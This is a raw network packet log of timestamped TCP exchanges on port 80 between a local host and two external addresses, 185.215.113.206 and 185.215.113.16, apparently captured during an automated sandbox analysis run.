Dec 19, 2024 07:57:27.103555918 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.103604078 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.104118109 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.104166985 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.104299068 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.104407072 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.104998112 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.105045080 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.105133057 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.105179071 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.105858088 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.105905056 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.105999947 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.106046915 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.106775999 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.106794119 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.106827021 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.106848001 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.137362003 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.257029057 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.574642897 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.574687004 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.574800014 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.575058937 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.575131893 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.575182915 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.575808048 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.575854063 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.575864077 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.576652050 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.576726913 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.576770067 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.577006102 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.577475071 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.577572107 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.577620983 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.578309059 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.578398943 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.578449965 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.579102993 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.579157114 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.579210043 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.579989910 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.580041885 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.580090046 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.580743074 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.580792904 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.580848932 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.580944061 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.581562996 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.581686020 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.581734896 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.582401991 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.582525015 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.582578897 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.583215952 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.583266973 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.583344936 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.584042072 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.584095001 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.584109068 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.584137917 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.584861040 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.584934950 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.584960938 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.585006952 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.585690022 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.585797071 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.585867882 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.586483955 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.586607933 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.586658955 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.587341070 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.587393999 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.587435961 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.588334084 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.588387012 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.588403940 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.588992119 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.588998079 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.589210033 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.589258909 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.589792013 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.589915037 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.589962959 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.590625048 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.590672970 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.590744972 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.591444016 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.591496944 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.591552019 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.592250109 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.592309952 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.592376947 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.592423916 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.593072891 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.593202114 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.593262911 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.593907118 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.594012022 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.594069004 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.594693899 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.594750881 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.594832897 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.595537901 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.595612049 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.595659018 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.596355915 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.596406937 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.596476078 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.596523046 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.597184896 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.597296000 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.597343922 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.598021984 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.598156929 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.598206997 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.598834991 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.598948956 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.599014044 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.599642038 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.599745989 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.599797964 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.600480080 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.601834059 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:27.766508102 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:27.767092943 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:28.266230106 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:28.266230106 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:28.386055946 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:28.386087894 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:29.231080055 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:29.231153965 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:29.314465046 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:29.434762955 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:29.755388975 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:29.755409956 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:29.755425930 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:29.755461931 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:29.755512953 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:29.755513906 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:29.758039951 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:29.879873037 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:30.201011896 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:30.201123953 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:30.214093924 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:30.333626986 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:31.149029970 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:31.149156094 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:31.177447081 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:31.297106028 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:31.617727041 CET	80	49759	185.215.113.206	192.168.2.4
Dec 19, 2024 07:57:31.618006945 CET	49759	80	192.168.2.4	185.215.113.206
Dec 19, 2024 07:57:31.622476101 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:31.742044926 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:31.742151022 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:31.742451906 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:31.862040997 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.073389053 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.073438883 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.073458910 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.073556900 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.073590994 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.073621035 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.073636055 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.073647022 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.073657990 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.073745966 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.073846102 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.073859930 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.073925018 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.193145037 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.193176031 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.193228960 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.193279028 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.265469074 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.265569925 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.265573025 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.265633106 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.269731045 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.269792080 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.269802094 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.269845963 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.278011084 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.278074026 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.278096914 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.278142929 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.286015034 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.286065102 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.286082983 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.286122084 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.294368029 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.294456959 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.294461012 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.294496059 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.302737951 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.302834034 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.302835941 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.302889109 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.311080933 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.311137915 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.311248064 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.311297894 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.319494963 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.319590092 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.319600105 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.319631100 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.328257084 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.328306913 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.328375101 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.328416109 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.336719036 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.336779118 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.336806059 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.336842060 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.344621897 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.344686985 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.344738007 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.344790936 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.385139942 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.385235071 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.457464933 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.457560062 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.457609892 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.457648039 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.459930897 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.459980011 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.460030079 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.460062981 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.464950085 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.464994907 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.466784954 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.466834068 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.466880083 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.466918945 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.471865892 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.471925020 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.471992016 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.472027063 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.476960897 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.477010965 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.477080107 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.477113008 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.481723070 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.481806993 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.481852055 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.481888056 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.486557961 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.486624002 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.486671925 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.486710072 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.491381884 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.491444111 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.491477966 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.491513014 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.496206999 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.496263981 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.496303082 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.496342897 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.501035929 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.501146078 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.501220942 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.616255045 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.616476059 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.620547056 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.620562077 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.620584965 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.620620012 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.620652914 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.735981941 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.736108065 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.739965916 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.739981890 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.739993095 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.740027905 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.740047932 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.855791092 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.855820894 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.855834961 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.855846882 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.855859995 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.855871916 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.855882883 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.855895042 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.855906010 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.855916977 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.855927944 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.855938911 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.855945110 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.855951071 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.856000900 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.856229067 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.856240988 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.856271029 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.856281996 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.856293917 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.856296062 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.856304884 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.856316090 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.856317043 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.856329918 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.856333971 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.856347084 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.856373072 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.856890917 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.856956005 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.856969118 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.856981039 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.856992960 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.857006073 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.857016087 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.857017994 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.857027054 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.857044935 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.857059002 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.857074022 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.857088089 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.857095003 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.857104063 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.857115030 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.857117891 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.857127905 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.857146025 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.857163906 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.857916117 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.857928991 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.857939959 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.857953072 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.857956886 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.857963085 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.857975006 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.857975006 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.857988119 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.857997894 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.858000040 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.858012915 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:33.858019114 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.858033895 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.858058929 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:33.858485937 CET	80	49801	185.215.113.16	192.168.2.4
